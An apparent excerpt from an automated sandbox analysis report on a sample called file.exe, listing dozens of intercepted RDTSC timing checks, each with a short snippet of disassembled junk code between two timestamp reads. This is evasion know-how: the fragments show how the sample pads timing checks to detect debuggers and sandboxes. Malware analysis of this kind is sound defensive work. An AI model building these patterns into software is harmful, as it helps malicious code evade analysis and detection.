Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA160 second address: 8CA183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE3h 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F8A2D3CFED6h 0x0000000f jng 00007F8A2D3CFED6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA432 second address: 8CA436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA436 second address: 8CA43C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA43C second address: 8CA459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F8A2CE89C96h 0x00000009 jmp 00007F8A2CE89CA2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA735 second address: 8CA739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9519 second address: 8C951D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1524 second address: 8D1528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1528 second address: 8D152C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D152C second address: 8D1548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A2D3CFEE6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0FEE second address: 8D0FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0FF4 second address: 8D1014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007F8A2D3CFEE5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1014 second address: 8D104A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F8A2CE89CA5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F8A2CE89CA8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D104A second address: 8D1050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1050 second address: 8D1054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D11A1 second address: 8D11A6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D11A6 second address: 8D11B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D11B7 second address: 8D11BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D11BB second address: 8D11BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D11BF second address: 8D11D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8A2D3CFEDFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D11D4 second address: 8D11F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2CE89CA5h 0x00000009 jc 00007F8A2CE89C96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D11F3 second address: 8D1201 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8A2D3CFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D373 second address: 81D377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DE01B second address: 8DE03D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8A2D3CFEDAh 0x00000011 ja 00007F8A2D3CFEDCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DE03D second address: 8DE043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2928 second address: 8E294B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8A2D3CFEDAh 0x00000008 jmp 00007F8A2D3CFEDFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E294B second address: 8E2956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2956 second address: 8E296E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A2D3CFEE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA9E1 second address: 8EA9F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8043CC second address: 8043D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8043D0 second address: 8043D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB21E second address: 8FB223 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FB223 second address: 8FB22F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8A2CE89C96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9B39 second address: 8F9B3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9B3F second address: 8F9B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9B45 second address: 8F9B55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEDCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9CF4 second address: 8F9CF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9FA5 second address: 8F9FB5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8A2D3CFEDAh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA2BC second address: 8FA2C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8A2CE89C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA2C6 second address: 8FA2F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F8A2D3CFEDBh 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F8A2D3CFEE2h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA432 second address: 8FA438 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FF4A5 second address: 8FF4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FF4AB second address: 8FF4C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A2CE89C9Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91B432 second address: 91B444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2D3CFEDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EEFB second address: 91EF17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EA4C second address: 91EA6C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8A2D3CFEE2h 0x0000000e push ecx 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EA6C second address: 91EA71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EBDC second address: 91EBE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EBE2 second address: 91EBFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA3h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EBFB second address: 91EBFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936F21 second address: 936F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936F25 second address: 936F55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jp 00007F8A2D3CFED6h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F8A2D3CFEE5h 0x0000001b push edx 0x0000001c pop edx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936F55 second address: 936F61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F8A2CE89C96h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936F61 second address: 936F6F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8A2D3CFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936F6F second address: 936F73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93BBED second address: 93BBFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8A2D3CFED6h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93AE91 second address: 93AEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 jnl 00007F8A2CE89C96h 0x0000000e pop ecx 0x0000000f popad 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8A2CE89C9Bh 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93AFCA second address: 93AFE7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8A2D3CFED6h 0x00000008 jbe 00007F8A2D3CFED6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007F8A2D3CFEDAh 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93AFE7 second address: 93AFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B138 second address: 93B156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A2D3CFEE2h 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B156 second address: 93B15C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B15C second address: 93B165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B165 second address: 93B16A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B95D second address: 93B961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93B961 second address: 93B967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D266 second address: 93D26C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D26C second address: 93D280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8A2CE89C9Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93D280 second address: 93D2B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jno 00007F8A2D3CFED6h 0x0000000b jmp 00007F8A2D3CFEE2h 0x00000010 jmp 00007F8A2D3CFEE1h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jnc 00007F8A2D3CFED6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93FC90 second address: 93FC9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F8A2CE89C96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93FEF2 second address: 93FEF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93FEF6 second address: 93FEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94383B second address: 943840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943840 second address: 94384E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0E5F second address: 49E0E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0E63 second address: 49E0E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0E69 second address: 49E0ECA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007F8A2D3CFEE1h 0x0000000b xor ax, 1106h 0x00000010 jmp 00007F8A2D3CFEE1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F8A2D3CFEDEh 0x0000001f mov ebp, esp 0x00000021 jmp 00007F8A2D3CFEE0h 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F8A2D3CFEDAh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0ECA second address: 49E0ED9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2001B second address: 4A20066 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8A2D3CFEDFh 0x00000008 mov ax, E2BFh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dl, FFh 0x00000015 pushfd 0x00000016 jmp 00007F8A2D3CFEE8h 0x0000001b xor eax, 3A6270D8h 0x00000021 jmp 00007F8A2D3CFEDBh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20066 second address: 4A20078 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 07h 0x00000005 mov ch, CDh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ax, bx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0103 second address: 49B0107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0107 second address: 49B010D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B010D second address: 49B015F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov al, 63h 0x0000000d push edi 0x0000000e call 00007F8A2D3CFEDCh 0x00000013 pop ecx 0x00000014 pop edx 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 call 00007F8A2D3CFEDCh 0x0000001e mov ch, E6h 0x00000020 pop ebx 0x00000021 call 00007F8A2D3CFEDCh 0x00000026 mov edx, eax 0x00000028 pop esi 0x00000029 popad 0x0000002a push dword ptr [ebp+04h] 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B015F second address: 49B0163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0163 second address: 49B0179 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0179 second address: 49B019E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 3AE90F84h 0x00000008 mov ecx, edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push dword ptr [ebp+0Ch] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8A2CE89CA1h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B019E second address: 49B01A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B01A4 second address: 49B01D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8A2CE89CA6h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8A2CE89C9Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B01D1 second address: 49B01D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0208 second address: 49B0233 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 3976BACAh 0x00000008 jmp 00007F8A2CE89C9Bh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8A2CE89CA0h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0233 second address: 49B0239 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0239 second address: 49B023E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0AE6 second address: 49D0AEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0AEC second address: 49D0AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0AF2 second address: 49D0AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D06B2 second address: 49D06B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D06B8 second address: 49D06F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8A2D3CFEE0h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8A2D3CFEE7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D06F4 second address: 49D071F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 jmp 00007F8A2CE89C9Bh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 call 00007F8A2CE89CA2h 0x00000017 pop eax 0x00000018 rdtsc
